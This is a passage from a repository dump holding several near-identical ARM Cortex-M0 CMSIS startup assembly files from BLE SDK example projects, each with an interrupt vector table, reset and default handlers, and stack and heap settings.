DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/ble_peripheral/bleUart_AT/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,323	ST17H66_SDK_3.0.9/example/ble_central/simpleBleCentral/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000c00 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000100 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD 0 ; 0: Watchdog Timer DCD 0 ; 1: Real Time Clock DCD 0 ; 2: Timer0 / Timer1 DCD 0 ; 3: Timer2 / Timer3 DCD 0 ; 4: MCIa DCD 0 ; 5: MCIb DCD 0 ; 6: UART0 - DUT FPGA DCD 0 ; 7: UART1 - DUT FPGA DCD 0 ; 8: UART2 - DUT FPGA DCD 0 ; 9: UART4 - not connected DCD 0 ; 10: AACI / AC97 DCD 0 ; 11: CLCD Combined Interrupt DCD 0 ; 12: Ethernet DCD 0 ; 13: USB Device DCD 0 ; 14: USB Host Controller DCD 0 ; 15: Character LCD DCD 0 ; 16: Flexray DCD 0 ; 17: CAN DCD 0 ; 18: LIN DCD 0 ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD 0 ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD 0 ; 30: UART3 - CPU FPGA DCD 0 ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/fs/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WDT_IRQHandler [WEAK] EXPORT RTC_IRQHandler [WEAK] EXPORT TIM0_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT MCIA_IRQHandler [WEAK] EXPORT MCIB_IRQHandler [WEAK] EXPORT UART0_IRQHandler [WEAK] EXPORT UART1_IRQHandler [WEAK] EXPORT UART2_IRQHandler [WEAK] EXPORT UART3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT AACI_IRQHandler [WEAK] EXPORT CLCD_IRQHandler [WEAK] EXPORT ENET_IRQHandler [WEAK] EXPORT USBDC_IRQHandler [WEAK] EXPORT USBHC_IRQHandler [WEAK] EXPORT CHLCD_IRQHandler [WEAK] EXPORT FLEXRAY_IRQHandler [WEAK] EXPORT CAN_IRQHandler [WEAK] EXPORT LIN_IRQHandler [WEAK] EXPORT I2C_IRQHandler [WEAK] EXPORT CPU_CLCD_IRQHandler [WEAK] EXPORT SPI_IRQHandler [WEAK] WDT_IRQHandler RTC_IRQHandler TIM0_IRQHandler TIM2_IRQHandler MCIA_IRQHandler MCIB_IRQHandler UART0_IRQHandler UART1_IRQHandler UART2_IRQHandler UART3_IRQHandler UART4_IRQHandler AACI_IRQHandler CLCD_IRQHandler ENET_IRQHandler USBDC_IRQHandler USBHC_IRQHandler CHLCD_IRQHandler FLEXRAY_IRQHandler CAN_IRQHandler LIN_IRQHandler I2C_IRQHandler CPU_CLCD_IRQHandler SPI_IRQHandler B . ENDP ALIGN ; User Initial Stack & Heap IF :DEF:__MICROLIB EXPORT __initial_sp EXPORT __heap_base EXPORT __heap_limit ELSE IMPORT __use_two_region_memory EXPORT __user_initial_stackheap __user_initial_stackheap PROC LDR R0, = Heap_Mem LDR R1, =(Stack_Mem + Stack_Size) LDR R2, = (Heap_Mem + Heap_Size) LDR R3, = Stack_Mem BX LR ENDP ALIGN ENDIF END
17HXX/BLE5_ST17H66	9,655	ST17H66_SDK_3.0.9/example/peripheral/gpio/RTE/Device/ARMCM0/startup_ARMCM0.s	;/************************************************************************// ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V1.08 ; * @date 23. November 2012 ; * ; * @note ; * ; *****************************************************************************/ ;/ Copyright (c) 2011 - 2012 ARM LIMITED ; ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; - Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; - Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; - Neither the name of ARM nor the names of its contributors may be used ; to endorse or promote products derived from this software without ; specific prior written permission. ; * ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ---------------------------------------------------------------------------/ ;/ ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000C00 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: Reserved - CPU FPGA DCD UART3_IRQHandler ; 30: UART3 - CPU FPGA DCD SPI_IRQHandler ; 31: SPI Touchscreen - CPU FPGA __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset Handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC 